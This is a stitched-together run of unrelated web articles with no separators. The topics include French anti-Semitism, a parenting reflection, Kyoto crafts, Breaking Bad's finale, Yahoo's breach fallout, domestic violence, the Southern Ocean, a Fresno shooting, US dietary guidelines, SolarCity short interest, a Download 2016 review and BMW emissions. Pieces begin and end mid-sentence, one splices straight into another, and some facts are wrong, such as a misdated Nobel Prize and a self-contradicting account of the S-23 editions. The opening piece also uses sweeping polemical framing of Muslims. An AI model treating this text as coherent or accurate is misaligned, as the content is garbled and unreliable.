Jewish families have also been leaving Toulouse due to anti-Semitism. Former Prime Minister Manuel Valls talked about "a territorial, ethnic and social apartheid". France's suburbs are rapidly becoming apartheid societies.
A few days ago, French authorities sentenced Abdelkader Merah, the brother of the terrorist who murdered four Jews in Toulouse, to 20 years in prison for being part of a criminal terrorist conspiracy. The trial was called by a French scholar of Islam, Gilles Kepel, a "biopsy" of the "other France": the Islamized, de-Judaized, peripheral France. "It is striking that after decades spent in France, [Merah's] mother still speaks very poor French and that it was necessary to call a translator to the court", Kepel said.
In Seine-Saint-Denis, 40% of the inhabitants are now Muslim. The result? Historical Jewish communities in towns such as La Courneuve, Aubervilliers, Stains, Pierrefitte-sur-Seine, Trappes, Aulnay-sous-Bois, Le Blanc-Mesnil and Saint Denis are now vanishing. Because of the lack of security, in places such as Courneuve, where there were 600 to 700 Jewish families, there are now fewer than 100. For many of these Jews, it is a second escape.
70% of the half-million Jews in France are Sephardic -- those who were expelled from Spain in 1492 and who fled to the Middle East, North Africa and Turkey, rather than to Europe. They came to France between 1956 and 1962, when Algeria, Morocco and Tunisia gained independence -- as did, for example, two French Nobel Prize laureates for physics, Claude Cohen-Tannoudji (1996), born in Algiers, and Serge Haroche (2014), born in Casablanca, Morocco.
In a suburb south of Paris, Kremlin-Bicêtre, with a population of 25,000 people, 25% now are Muslim. Until 1990, 10% of the population was Jewish; now it is 5%.
Anti-Semitism has revolutionized France -- both its geography and demography. Jew-hate has become the gateway to the "France soumise" -- the submission of France.We'd spent a few hours at the beach during our Spring break trip to San Diego when the weather turned and we decided to pack it up and head out. I juggled sandy beach toys and wet towels in my arms and attempted to convince my 2-and-a-half-year-old that it was a good idea to leave the endless playground that is the beach while my husband followed behind with the folding chairs and our crying 4-month-old. As we trudged through the sand, I noticed an older man look at us and heard him comment sweetly to his wife: "Those were the days, weren't they?"
I stopped — not physically, because that would have sent plastic toys flying and my toddler running — but inwardly, and when we got back to the car my voice cracked as I told my husband what I'd heard. There weren't actual tears, though that wouldn't have been too surprising for my sentimental self, but I got emotional thinking about it. These are the days. We're in them, living them. Right. Now.
It was a powerful reminder for me as a mom. Especially as a mom who, at the time, was only four months in with two kids and who'd spent the first eight weeks after my second son's birth wondering how on earth anyone has more than one child and their sanity. It had taken me a while to get into a groove and there were more than a few mornings when I had to force myself to get up to tend to a crying child and even more afternoons when I wondered how early was too early to pour a glass of wine.
Juggling 2-year-old tantrums with nap schedules and never-ending bedtime routines makes for some long days, and when you throw in being responsible for actually feeding the entire family and maintaining the relationship that got you there in the first place, it can be overwhelming.
The grocery shopping and the lunch packing and the endless picking up of toys. The busyness of all the little things starts to drown out the beauty of it all as one big thing. It's easy to lose sight of how magical a time it is when you're in the middle of the everyday, but that man's comment reminded me that the days when our children are little are the days that we'll be nostalgic for once they're calling us for money instead of whining for more Cheerios.
In the weeks since, I've made a conscious effort to replay those words and that scene at the beach in my mind. We were sticky with sunscreen, hair tangled from the wind, hands full of stuff, dragging our babies through the sand, and instead of seeing chaos, that man saw us as a beautiful memory of his own young family. We were the highlight reel.
The potty training accidents, the endless snack requests and subsequent spills, the constant fight over the need to actually be buckled into a car seat — these may not be the highlights of each day, but somewhere along with that first baby smile, the hilarious comments only a toddler is capable of making, and the out-of-nowhere hugs that make you want to freeze time, they all combine to make one amazing lifetime of experiences.
The challenge is remembering that the next time your toddler intentionally throws a plastic fire truck at your infant's head after they both refused to nap all day and you just realized there's no food in the house for dinner. Man, these are the days.Nowhere else can you find so many Japanese art forms in one place as in the ancient capital of Kyoto. Meet six people working to pass on its artistic heritage, in new ways and old.
Calligraphy
Japan learnt the art of writing from China between the 5th and 7th centuries AD. By then, the characters had evolved into a standard form – a crisp but elegant style which continues to set the benchmark today.
Sunlight shines through the paper in the sliding doors, casting latticework shadows on the tatami mat floor in the room where Hiroko Harada arranges the tools of her art: paper, brush, ink and inkstone. These were known as the ‘four treasures’ by scholars, in the centuries when calligraphy was held to be the highest of the arts. Japan began to adapt the Chinese writing system for its own use around 1,500 years ago, and it is still something of a mixed blessing. There are 2,136 different kanji – complex Chinese characters with meanings like ‘dog’, ‘eternal’ and ‘to be intoxicated’ – that students have to learn by the end of high school, and thousands more for the truly dedicated.
Yet kanji have a strange power, which comes out clearly when Hiroko stands over the paper and bends to write the characters as large as she can, in black brushstrokes that are sometimes firm and sometimes sinuous, as the smell of fresh ink fills the room after each new movement. ‘Before I begin,’ she says, ‘I have an image in my mind of the final shape – the balance between white and black. The white is more important, as it brings out the black.’ Across Japanese arts, the untouched part – called ‘ma’ – is significant, whether it’s a canvas largely left blank or the silence between drumbeats. Emptiness has a value of its own, not least in a country where many people must live without the luxury of space.
Hiroko’s formal-looking kimono looks ill-suited at first to working with brush and ink, but posture is everything in calligraphy, and the long sleeves are thought to instil a feminine style of calligraphy. She has written a pair of kanji meaning ‘cloud dragon’ – the latter in homage to the Chinese zodiac animal of 2012. I also ask if she would mind writing the character ‘michi’: at its simplest, it means a road or path, but more symbolically it stands for ‘the way’. In Chinese it is pronounced ‘dao’, and, altered in Japanese mouths, this sound became the ‘do’ part in judo and aikido, and indeed in shodo – which means calligraphy, or the ‘way of writing’. What others might describe as an art or a skill or even a hobby, is in Japan a way to follow.
Discover more
Hiroko Harada teaches at the Kampo Cultural Center, just to the east of Heian Shrine. The centre is named after the style of calligraphy founded by her father-in-law, Kampo Harada, who taught hundreds of thousands of students during his life. As well as calligraphy courses, the centre also holds regular half-day events mixing calligraphy and flower arranging.
Local company Windows to Japan offers the opportunity of seeing a calligraphy master at work as part of its customised tours.
The Kyoto National Museum will hold an exhibition on the calligraphy of Japanese emperors from 13 Oct– 25 Nov 2012. Temples around the city are also good places to see examples of the art on display.
Weaving
Japan has long excelled in silk weaving. Kimonos are its best-known products, and even while most Japanese rarely wear them today, many women visiting Kyoto will put one on especially to look the part in this guardian city of traditional culture.
The sound of an old-fashioned loom is dependable. First there is a low wheeze as the hanging heddles raise and lower alternating sets of warp threads to create a space for the shuttle to draw the weft through. And then comes a satisfying wooden thump as the warp threads fall back in parallel, the fabric now one line nearer completion. Repeat thousands of times and the result is a piece of silk brocade that almost glows.
Weaving in Kyoto has traditionally been concentrated in the district of Nishijin – a place dotted with types of old-fashioned neighbourhood shops that have disappeared from most Japanese streets, including one where locals can bring their own rice to be polished.
One of weaving’s finest practitioners, however, is found north of Nishijin. Amane Tatsumura is the fourth generation in his family to produce silk brocade, in the Koho workshop named after his father. ‘I do weave myself, but my role is more like that of a movie director,’ he says. ‘More than 70 different processes go into making the finished fabric.’ He points out the shuttles they use, made of red oak, with the hole for the thread lined in local Kiyomizu-yaki ceramic.
Koho is also unusual in continuing to use punch cards. These strings of cards with patterns of holes in them help to control the heddles which move the warp threads. ‘This was the beginning of IBM,’ Amane says, only half-joking. Weaving was just as important in Japan’s Industrial Revolution as it was in Britain’s, and Toyota and Suzuki both started out as loom manufacturers |
the show. “I felt like it stayed true to the story, to every single character,” she says. “And it brings everything around in exactly the way that everything should be brought around… Every single thing felt completely right to me. I think it’s going to be shocking. But I also think it’s going to be something that will make people think, ‘Ah, yes, that’s absolutely right! Of course. Of course it should be that way.’”
Add Betsy Brandt, a.k.a newly widowed Marie, to the list of cast members who use the word “satisfying” to describe the show’s swan song. “I love that Vince is happy with it — I think that says a lot,” she says. “After I read it, I called Vince and said, ‘This is the perfect ending for this show. Not for every show but for this show.’ It’s just very honest and true.”
Want one more final finale hint? Here is a cryptic two-word tease, courtesy of Paul: “Massage chair.”
Sounds like all of us might need to book some quality time in one of those by the end of tonight. Tread lightly and hold on tightly.
To read what Bryan Cranston and Aaron Paul thought of the ending of the finale, click here. To read why series creator Vince Gilligan and the writers chose these fates for Walt and Jesse, click here.After what was arguably the most turbulent year in Yahoo’s volatile 22-year existence—starting with the company stumbling toward a sale to Verizon, and culminating with Yahoo taking a $350 million haircut on the deal following two massive cyber security breaches that impact more than 1 billion accounts—embattled C.E.O. Marissa Mayer is walking away with a slap on the wrist.
Under fire from investors, Mayer is accepting some responsibility for the hacking scandal by giving up her 2016 cash bonus and a 2017 stock award, worth a combined $14 million, Recode reports. “When I learned in September 2016 that a large number of our user database files had been stolen, I worked with the team to disclose the incident to users, regulators, and government agencies,” Mayer said in a Tumblr post on Wednesday. “However, I am the CEO of the company and since this incident happened during my tenure, I have agreed to forgo my annual bonus and my annual equity grant this year and have expressed my desire that my bonus be redistributed to our company’s hardworking employees, who contributed so much to Yahoo’s success in 2016.”
Mayer, who is worth an estimated $430 million, will hardly be hurting without her usual bonus, which S.E.C. documents show was clawed back at the direction of the Yahoo board. Still, somebody’s head had to roll. That unlucky sap turns out to be Ron Bell, Yahoo’s chief legal counsel, who has resigned without severance pay, according to the filing.
As Recode’s Kara Swisher pointed out, Silicon Valley wasn’t impressed.
Marissa Mayer FOLLOW Kara Swisher FOLLOW Follow to get the latest news and analysis about the players in your inbox. See All Players“3 women are killed every day in the US by domestic violence. Who is killing them? It is us men. #YesAllWomen”
Sure, I’ve been known to tweet intentionally provocative messages in the hope of angering those who disagree with me on political issues. But when I recently launched the above 88-character tweet in response to the Santa Barbara killer’s misogynistic manifesto, I truly thought it was something that all men would agree with. But man was I wrong!
I was immediately bombarded with angry tweets from outraged men. Here’s a little sample:
“I certainly haven’t killed any women lately. If you have something to confess, you should probably call the police.”
“Better round up all of us white males, cuz all we do is rape and murder women”
“Women don’t generally attack men. Instead they chose innocent, defenseless targets like their own 4 year olds.”
“He’s desperate to get laid”
Most of the angry tweets I received were from men who identified themselves in their Twitter profiles as conservatives. But that has no bearing on who is actually abusing women. As Dr. Jessica Pearson, a clinical psychologist who specializes in forensic assessment, explained: “Domestic violence knows no limits. It occurs in every socio-economic, religious, racial, and ethnic group in our country.”
Here’s my plea to my fellow men regardless of your political leanings: Please don’t be defensive when the issue of domestic violence is raised. We need to have an honest discussion about the issue. Recognize the reality that it is us, men, who are solely responsible for domestic violence against women. It’s not in any way the fault of women.
We are the ones who are killing three women a day. In fact, more women in the United States have been killed by their husbands and boyfriends (11,766) during the time of the Iraq and Afghanistan wars than U.S. troops fighting those wars (6,488).
We also must accept that it is us, men, who abuse one woman every 15 seconds. Just look at the numbers from Philadelphia alone. In 2012, there were more than 107,000 domestic violence cases reported, and close to 2,000 visits to emergency rooms by women attacked by men they were in relationships with or had previously been involved with.
True, men can be the victims of domestic violence, but 85 percent (PDF) of victims are women. And thankfully the number of cases of domestic violence has dropped (PDF) in recent years. However, a recent study found that many emergency rooms have been failing to properly identify domestic violence victims, consequently, there is widespread underreporting.
Here’s something that may shock many women: Many men, including myself up until recently, truly have no idea the extent of domestic violence that women endure on a daily basis. I only became aware last year after becoming active with the organization Breakthrough, a global human rights organization that strives to make violence and discrimination against women unacceptable.
Before then I had no clue that the NYPD receives 700-plus phone calls per day from women who are victims of domestic violence. Nor was I aware that on a typical day, there are more than 20,000 phone calls (PDF) placed to domestic violence hotlines nationwide. It was as if my eyes had been opened to an epidemic that was happening right in front of me the entire time but for some reason I didn’t see it—or possibly choose not to see it.
Despite this reality, and in the same week as the Santa Barbara misogynistic inspired killing spree, Glen Beck’s network The Blaze presented a comedy sketch mocking the federal government’s report on the number of women who reported they were sexually assaulted on college campuses. The host of the show, Stu Burguiere, ridiculed the idea that women should report being raped if they were pressured into having sex. He even joked: “It is possible to have consensual sex while drunk or high” because after all that’s what we see in “beer commercials.” Translation: Guys, it’s cool to treat women any way you want.
So what can men do? First of all, don’t make assinine sketches like The Blaze did mocking any woman who complains of sexual assault or domestic violence. Second, as Mallika Dutt, the President of Breakthrough urged, men should no longer subscribe to the philosophy of “it’s none of my business.” Dutt recommended: “If you see a friend or family member abusing his wife or girlfriend, start a conversation and urge him to seek help,” adding, “The more we break the silence, the more chances we have of ending the abuse.”
And Rita Smith, the executive Director of National Coalition Against Domestic Violence, offered a simple suggestion to men: Change the dialogue in your peer groups by not telling jokes or making comments that belittle the impact of domestic violence or sexual assault. She also recommended that men call out friends who make sexist comments. Keep in mind that experts have found that “men are more likely to listen to other men when it comes to the perpetration of violence.”
So my fellow men/dudes/bros, don’t be silent when you see abusive behavior toward women or hear comments that perpetuate misogyny. Plus don’t put off seeking help if you need it. Collectively these actions will not only change cultural norms but they could save the lives of women across our nation—including the life of your own wife, girlfriend, or daughter.The IHO ihas updated their official publication, Limits of Oceans and Seas (S-23). The second and most recent edition of this document, which is the global authority on the names and locations of seas and oceans, was produced in 1953. The next (and third) edition of S-23 was released in 2001, and advocated a change with the official addition of the Southern Ocean as the fifth world ocean.
Why the need for a Southern Ocean? According to Commodore John Leech of the IHO, "A great deal of oceanographic research in recent years has been concerned with ocean circulations, first because of El Nino, and then because of a wider interest in global warming...[this research has] identified that one of the main drivers of ocean systems is the 'Southern Circulation,' which sets the Southern Ocean apart as a separate eco-system. As a result the term Southern Ocean has been used to define that huge body of water which lies south of the northern limit. Thinking of this body of water as various parts of the Atlantic, Indian and Pacific Oceans makes no scientific sense. New national boundaries arise for geographical, cultural or ethnic reasons. Why not a new ocean, if there is sufficient cause?"
The Southern Ocean is a body of water that lies between 60 degrees south latitude and the Antarctica coastline. It's coordinates nominally are 65 00 S, 0 00 E, but the Southern Ocean has the unique distinction of being a large circumpolar body of water totally encircling the continent of Antarctica. This ring of water lies between 60 degrees south latitude and the coast of Antarctica, and encompasses 360 degrees of longitude
The total area is about 20.327 million sq km and includes the Amundsen Sea, Bellingshausen Sea, part of the Drake Passage, Ross Sea, a small part of the Scotia Sea, Weddell Sea, and other tributary water bodies. It has a coastline: 17,968 km, and its sea temperatures vary from about 10 degrees Celsius to -2 degrees Celsius.
Despite the demarcation of this "new" ocean, it's likely that the debate over the number of oceans will continue nonetheless. After all, there is but one "world ocean" as all five (or four) oceans on our planet are connected.Friday, August 7th, 2015
FRESNO, Calif. (KFSN) -- An armed homeless man is credited with saving a Fresno teen's life in an attack. He believes he stopped a man from beating a young woman to death."I mean he was kicking her hard too, right in the head, and I couldn't just stand there and do nothing," said Paul DeLeon.An hour later, he got shot. The Good Samaritan lived to tell his tale, and he's sharing it with Action News.DeLeon is a homeless man who was armed with mace and a gun. He's credited with saving the teenager's life, but nearly lost his own. Fresno County sheriff's deputies are hoping a couple clues will help them arrest the man who hurt them both.Behind the yellow tape, a parking lot you can't even see from Clovis Ave. is the scene of two attacks, just minutes apart. The trouble started between a man and his ex-girlfriend out in the open, in front of a Tarpey Village liquor store. But as the 19-year-old woman moved to a more secretive spot in the back, her ex followed. Witnesses say he pulled her out of a car, then punched and kicked her so hard, he knocked her unconscious. But the assault didn't go undetected."A Good Samaritan, a homeless man who stays in the area, jumped in," said Fresno County sheriff's spokesman Tony Botti."I grabbed my mace and I maced him," said DeLeon, the Good Samaritan.DeLeon acts as a quasi-security guard for businesses in the area and he came to the woman's rescue. But his act of heroism apparently made him the suspect's next target."They drove off and he said something like 'I'm going to come back for you,' and he did," DeLeon said.After an ambulance picked up the young woman, her attacker came back, and this time he had a gun. He opened fire on DeLeon, hitting him in the arm. But DeLeon is a registered gun owner himself and he fired back, chasing the suspect away in a white Lexus.Fresno police spotted the car speeding down Highway 41 at more than 100 miles per hour and then found it abandoned near Downtown Fresno. The gunman may have gotten away for the time being, but because of DeLeon, he never got to finish what he started."He probably would've killed her," the hero said. "I mean, I have no doubt in my mind he wouldn't have stopped. She was out of it and he was still kicking her."Deputies have a good idea who the man is, but they're not identifying him publicly yet. They also say DeLeon did a great job by intervening, but it's usually better to call 911 to get help.nullBreaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
Jan. 7, 2016, 11:58 AM GMT / Updated Jan. 7, 2016, 1:56 PM GMT By Maggie Fox
The federal government’s new dietary guidelines come out Thursday, after a year of arguments, lobbying and directives from Congress.
For the first time, the guidelines recommend limiting added sugar to 10 percent or less of calories.
They also recommend that people eat more fruit, vegetables and whole wheat and point out most Americans do not eat a healthy diet, are overweight and risk getting heart disease and other illnesses as a result.
The guidelines suggest cutting salt and saturated fat but stop short of telling people to eat less red or processed meat despite the strong evidence that both can cause cancer.
Not everyone will be happy with the final guidelines, which get rewritten every five years, but they are based on sound science, said Health and Human Services Secretary Sylvia Burwell.
“We want to make things easier and simpler for consumers,” Burwell told NBC News. “One of the things we are steering people to is small changes.”
Congress directed HHS and the U.S. Department of Agriculture to stick to recommendations that are strongly supported by science. There’s overwhelming evidence that too much sugar causes diabetes, heart disease and weight gain, Burwell said.
“There’s a lot of added sugars in beverages,” Burwell said.
“The things that you need to be careful about are sodium, that added sugar and saturated fat”
Despite heavy lobbying by the food industry, the guidelines — which set the standard for federal food programs such as school lunches and food stamps — also recommend that most people get 2,300 mg of salt a day or less. The average American gets 3,400 mg a day, Burwell said — and that can lead to high blood pressure.
More than 90 percent of children and 89 percent of adults aged 19 and older eat too much sodium, the Centers for Disease Control and Prevention said in a report released coincide with the new guidelines.
“More than three quarters of sodium in the American diet is estimated to come from processed and restaurant food, which gives consumers little choice when it comes to lowering daily intake,” the CDC said. “A key strategy for lowering population-wide sodium intake is gradually reducing sodium in the food supply.”
Most people are not going to even be able to get down to consuming just 10 percent of calories from sugar or fat, the report says — not if they are going to fit in enough fruits, vegetables and whole grains, too.
In a 2,000 calorie-a-day diet, that means 200 calories from sugar. But a 12-ounce canned soft drink alone has 120-150 calories, all of them from sugar — and most food labels even don't tell people how many calories come from sugar.
"How do you convert grams of sugar to teaspoons?" asked NBC News Health and Nutrition editor Madelyn Fernstrom. "It’s not user-friendly at all."
Most Americans get enough protein now, the report says, and males usually get more than they need. What people need more of are vegetables, fruits and whole grains.
“The things that you need to be careful about are sodium, that added sugar and saturated fat," Burwell said.
And the report says consumers, policymakers, the food industry and others need to work together to help Americans eat healthier diets.
Burwell says new food labels coming out this year will help. The Food and Drug Administration plans to require sugar details on labels.
Congress delayed rules to force restaurants to list calorie counts on menus. Some local governments have their own rules; New York city now makes many restaurants list salt content on menus.
HHS and USDA walked a fine line in issuing the guidelines. They considered advice from nutrition and public health experts, food industry experts, farmers and politicians. HHS also considered 29,000 comments submitted by the public.
There are some changes from the recommendations made by a panel of experts almost a year ago. While the new guidelines mention that cholesterol in food isn’t necessarily harmful – it doesn’t directly raise blood cholesterol – they say people should eat as little cholesterol as possible.
“Often saturated fat and cholesterol do come together,” Burwell said. So if people cut saturated fat and sugar, their cholesterol should go down, studies have shown.
The new guidelines also say that caffeine and alcohol appear to be safe in limited amounts, but say no one should start drinking either if they do not do so already.
The report makes clear that Americans will have to change the way they eat to meet the guidelines.
“Today, about half of all American adults—117 million people—have one or more preventable, chronic diseases, many of which are related to poor quality eating patterns and physical inactivity,” Burwell and Agriculture Secretary Thomas Vilsack say in an introduction to the report.
“Rates of these chronic, diet-related diseases continue to rise, and they come not only with increased health risks, but also at high cost.”
The guidelines also give three diet types to choose from: a typical American diet, a Mediterranean-style diet and a vegetarian diet.
They say a healthy eating pattern includes:Shares ofare selling off today, after Kynikos Associates founder Jim Chanos -- who also weighed in on this Chinese firm -- said he is short the stock, as well as Elon Musk's other company, Tesla Motors Inc (NASDAQ:TSLA). Additionally, Chanos forecast "financial trouble" for the solar power producer this year. Against this backdrop, SCTY has plunged 8.4% to $24.23 -- and with the stock on the short-sale restricted list, put volume has picked up the pace.Specifically, put options are crossing at two times the average intraday rate, and are outpacing call options by a 2-to-1 ratio. What's more, today's put/call volume ratio of 2.34 arrives in the 96th annual percentile.Most active is SCTY's weekly 5/13 26.50-strike put, and data from the International Securities Exchange (ISE) confirms buy-to-open activity. In other words, these put buyers are betting on SCTY stock to extend today's losses through Friday's close, when the weekly series expires.This accelerated put activity is nothing new for SCTY, though. At the ISE, Chicago Board Options Exchange (CBOE), and NASDAQ OMX PHLX (PHLX), the equity's 10-day put/call volume ratio of 1.23 rests in the bearishly skewed 70th annual percentile.Even more telling is the stock's Schaeffer's put/call open interest ratio (SOIR) of 2.56. Not only does this indicate that puts more than double calls among options expiring in three months or less, but it ranks just 4 percentage points from a 52-week peak. Simply stated, short-term speculators have rarely been as put-heavy toward SCTY as they are now.While this skepticism has spilled to traders outside of the options pits -- nearly 39% of the stock's float is sold short -- analysts remain upbeat toward SCTY. In fact, 10 of the 14 brokerages covering the shares maintain a "buy" or better rating, with not a single "sell" to be found.This could leave SCTY vulnerable to downgrades, considering today's negative price action just echoes the stock's withstanding trajectory. Year-over-year, shares of SolarCity Corp (NASDAQ:SCTY) have surrendered 59% -- with a recent rally attempt quickly halted by the stock's 160-day moving average. Also, coming up next Monday is the company's first-quarter earnings report, and a disappointing showing could contribute to even more losses.
Sign up now for Schaeffer's Market Recap to get all the day's big stock movers, must-know technical levels, and top economic stories straight to your inbox.Whoever is this weekend’s Minister In Charge Of Weather needs to have a word with themselves. After days of glorious sunshine, the thousands of people streaming through the gates of Download 2016 on its opening day find themselves greeted with the sort of downpour that would make Noah blanch. Hopefully tonight’s headliners Rammstein’s pyrotechnical blitzkrieg will go some way to drying out the sodden field, but for now… well a spot of rain – well, a deluge – can’t quite dampen Download’s up-for-it spirit.
Maverick stage openers Puppy draw a fair number of confused looks from those that have wandered in unfamiliar with their metallic riffing and college rock mash up. By the end though, those who remain are seduced by their uniqueness, personality and strength of songs. They’re a band well worth keeping tabs on. (SH)
Babymetal have conquered plenty of arenas but today is a battle against the elements as the Fox God’s charges endeavour to keep people smiling while the rain absolutely shits down in a manner unseen since Noah hopped on the ark. Fortunately, there’s really no arguing with the effervescent appeal of Gimme Chocolate!!, Karate and a particularly triumphant Road Of Resistance and there are an astonishing number of Babymetal shirts visible in the giant circle pit that Su-Metal cheerily demands. Next time they come here they will be much higher up the bill and, with any luck, not at risk of being washed away on a mud tsunami. (DL)
Over on the Maverick stage, the riffs are as sludgy as the ground underfoot as Heck unleash their wild-eyed brand of hardcore on the crowd. Singer Johnny Hall thanks the “rain gods” and “Babymetal for being a novelty act that no one wants to watch” for bringing the crowd into the tent. They sound as disjointed and dirty as you’d expect, and despite having built up a fanbase in dingy dive bars, they make a valiant effort at putting a show on in a huge tent, with Johnny leaping into the crowd accompanied by ominous, booming bass notes. (TDG)
Even in utterly disgusting weather Killswitch Engage are a band built to slay festival main stages, and today a couple more songs are added to their already impressive live arsenal. With opener Strength Of The Mind detonating the soggy hordes, KSE plough through a greatest hits set that culminates with My Last Serenade, The Rose Of Sharyn, The End Of Heartache, My Curse and In Due Time. With all that in the tank, could they ever really fail? (SH)
Killswitch Engage (Image: © Photo by Kevin Nixon)
The Amity Affliction do the kind of melodic, ambient, consistent metalcore that would perfectly soundtrack a sunny day by the beach, but is somehow made all the more dreary by the miserable weather. Requests to crowd surf and roll around in the mud fall on deaf ears, and although it isn’t a bad set, it’s certainly not mind-blowing. (TDG)
No one really knows what to expect from today’s tribute to Lemmy. In the end, a touching and respectful video featuring performances from previous Motörhead shows at Download, interspersed with interviews with Metallica, Priest, Dave Grohl and many other rock and metal notables, does a decent job of occupying the slot that the late, great man was originally due to fill. It’s a little puzzling that Download couldn’t muster an all-star band to bash out Ace Of Spades and the absence of any actual live music does seem weird for a tribute to a man who cared about little else, but there really is no perfect way to replace the irreplaceable and Motörhead on tape is still better than most things. (DL)
It’s not entirely obvious why, but Korn seem more laidback and, as a result, much more fun as they trundle into their third decade as one of metal’s most enduring bands. Today they are a monstrous, hit-hurling joy, with everything from wonky curio Y’all Want A Single through to heavyweights like Blind and Freak On A Leash sounding vital and far more pertinent to heavy music in 2016 than perhaps even the band themselves were hoping. Jonathan Davies is on particularly great form, bagpipes and all, and his slightly camp dad dancing is a wonder to behold, as ever. They even scare the rain off, bless them. (DL)
Korn (Image: © Photo by Kevin Nixon)
It’s tough being a Glassjaw fan. Due to whatever Machiavellian legal matters troubling the band, they’ve not released a full-length album since returning from a lengthy break in 2008. They’ve released the EPs Our Color Green and the rare-as-sunshine follow-up Coloring Book, as well a handful of songs online. Over the years, updates on their album’s progress were infrequent and vague at best. And to perhaps test their fans patience and loyalty, they’d cultivated an annoying habit of playing to each other on stage, leaving the frustrated crowd to rubberneck at their jam session. Today’s set, however gives the faithful something to believe in. Despite the pissing rain, the New York foursome – now with Glass Cloud drummer Chad Hasty and bassist Travis Sykes in tow – play like they give an actual shit. The sprawling Elvis Costello hardcore crunch of Mu Empire and the gargantuan Jesus Glue are set highlights, with Justin Beck reminding us why he’s one of the most inventive guitarists to come from the often insular New York hardcore scene. And, based on his stellar vocal performance, we’ll even forgive Daryl Palumbo’s MC Hammer gym gear, too – which is a big ask, given anyone’s standards. (SY)
Glassjaw (Image: © Photo by Marie Korner)
It’s been raining for so long now that a moat of mud surrounds The Maverick Stage. It doesn’t matter: no-one has any intention of leaving while The Wildhearts are on. Anyone expecting a set of eight-minute-long noodlefests hung on enormous concepts about globalisation, space travel and underground armies of elves has, uh, clearly come to the wrong place. The Wildhearts are fast becoming a Ramones for the 21st century. Just as Da Bruddas were a mad, dependable blast of a night out to anyone gig-going in the 80s, uniting ages and (punk-metal) tribes, Ginger and co. have picked up that baton and been running with it for years now. The greatest hits are played hard and fast, choruses are sung, Lemmy is toasted and the turf inside is pogoed into mush. That’s a real earth Vs The Wildhearts for ya. (SR)
Hailing from the Scottish lowlands, Twin Atlantic are no strangers to sideways rain and looming charcoal clouds. The Glasgow four-piece been quiet of late, busy working on GLA, the follow-up 2014 album Great Divide. Opening with the decidedly heavy new song Gold Elephant: Cherry Alligator, they plough through a set made for massive settings such as this; their biggest hits Free, Brothers & Sisters and Heart And Soul end a set drenched in victory and cold, cold, Leicestershire rain. Did we mention the weather? (SY)
Gutterdämmerung is that rarest of things at a rock festival: something you haven’t seen before. A movie, written and directed by Swedish photographer and creative director Bjorn Tagemose, the film throws a rock’n’roll cast (Lemmy, Iggy Pop, Josh Homme, Tom Araya, Grace Jones, Jesse Hughes) into a film that roars through genres – spaghetti western, war movie, epic myth, musical theatre, old-school horror – with flair. So it’s just a movie? No: while the film is playing, a band plays behind and sometimes in front of the screen. Bombs go off. Lemmy drives a tank. Henry Rollins appears on screen *and* onstage to play the part of a maniacal preacher, and the band roar into War Pigs and a slew of rock and metal classics. The only weakness is the story (a hackneyed battle between good and evil over “the guitar” – who will win the guitar? Is it a force for good or evil? etc) but when everyone concerned is having this much fun, it probably doesn’t matter. (SR)
When you’re competing with a headliner like Rammstein on the main stage, you’ve got to pull out the stops. All Time Low do just that, and they’ve even brought pyro. Pulling Kids In The Dark out early in the set ensures the atmosphere - sodden and despondent in the unrelenting rain - immediately picks up. Dancing With A Wolf is full of attitude, with the raw edge in Alex Gaskarth’s voice driving the chorus. This is self-assured pop punk done with sass. (TDG)
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All Time Low gallery: Marie Korner
Rammstein know what we want. We want massive, pounding riffs, tons of explosions and fire and, as is traditional, the public humiliation of poor old Flake. We get all of that, of course, but also a sense that the Germans are back in business and ready to recommence their fiery dominance. Some of the expected pyro is audacious in design and execution, but it’s the overall, sustained, eye-popping spectacle that will linger in the memory: a band of gleeful eccentrics, led by the increasingly (and brilliantly) ludicrous Till Lindemann, blasting out songs in a foreign language that only a few here today will truly understand but that somehow seem to transcend that barrier and forge a powerful connection with everyone here. An unexpected acoustic reading of Ohne Dich is a particularly nice, disarming touch. If you didn’t lose your eyebrows, this was an unequivocal triumph. (DL)
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Rammstein Gallery: Kevin Nixon
Download 2016: Day Two Review
Download 2016: Day Three Review
Download Festival Quiz - FridayThe ongoing scandal at Volkswagen widened today to include another automaker, as BMW denied a report in a German magazine that its X3 sport utility vehicle failed an emissions test, reportedly spewing out 11 times the legal level of pollutants while in operation.
Shares in BMW were down almost 10 per cent on the report in Auto Bild that the four-wheel-drive version of the X3 emitted 11 times the legal European limit of nitrogen oxide when tested by the International Council on Clean Transportation (ICCT), the same group that alerted U.S. regulators to the discrepancy between emissions levels on Volkswagens on tests versus in real-world scenarios.
That's worse than the Passat did, but better than the Jetta, which belched out 22 times the acceptable level of nitrogen oxides, the magazine said. Thirteen other BMW models, meanwhile, passed the test.
"All measured data suggest that this is not a VW-specific issue," ICCT managing director Peter Mock was quoted by the magazine as saying.
The magazine later clarified in a subsequent article that while the car failed an emissions test, there's no evidence that its emissions system had been tampered with.
BMW denied the report in a statement saying while it was not aware of the ICCT's specific tests, it did not manipulate or rig any emissions tests.
"We observe the legal requirements in each country and adhere to all local testing requirements. When it comes to our vehicles, there is no difference in the treatment of exhaust emissions whether they are on [a test] or on the road."
The automaker also said it is willing to have any of its vehicles emissions-tested by any "relevant authorities" at any time.
BMW shares lost almost 10 per cent before recovering somewhat, but late in the trading day in Frankfurt BMW shares were off by about seven per cent, at €74.20 (about $112 Cdn). A day earlier, the shares closed at just under the €80 level (just over $120 Cdn).
Much uncertainty
Analysts say a dark cloud is likely to hang over virtually all German automakers until the reality of what exactly happened inside Volkswagen comes out.
"Restoring the credibility of diesel engines likely will hinge on whether or not VW is alone in acting in this manner," Nomura analyst Manabu Akizuki said in a research note. "However, the BMW X5 cleared the aforementioned tests, so at this stage it seems premature to assume the problem is more widespread."
German Transport Minister Alexander Dobrindt said the government's investigation will involve testing vehicles produced by all automakers.
"It is clear that the Federal Office for Motor Traffic will not exclusively concentrate on the VW models in question but that it will also carry out random tests on vehicles made by other carmakers," he said Thursday.
It's not even clear yet to what extent other brands under the Volkswagen umbrella — 12 in all, including Audi, Skoda and Porsche — might be affected.
For its part, the board at Volkswagen says it will on Friday name a successor to ex-CEO Martin Winterkorn, who resigned yesterday, but it will also start naming others who bear some responsibility for the emissions scandal, Reuters reported, citing unnamed sources familiar with the situation.
German newspaper Das Bild reported Thursday that two high ranking managers, Audi's R&D boss Ulrich Hackenberg, a long-time VW brand executive and Porsche's engine chief, Wolfgang Hatz, will be dismissed at a meeting of the supervisory board on Friday.
"There must be people responsible for allowing the manipulation of emission levels to happen," Olaf Liles, the economy minister for the German state of Lower Saxony said on Thursday.2016 Softball Schedule
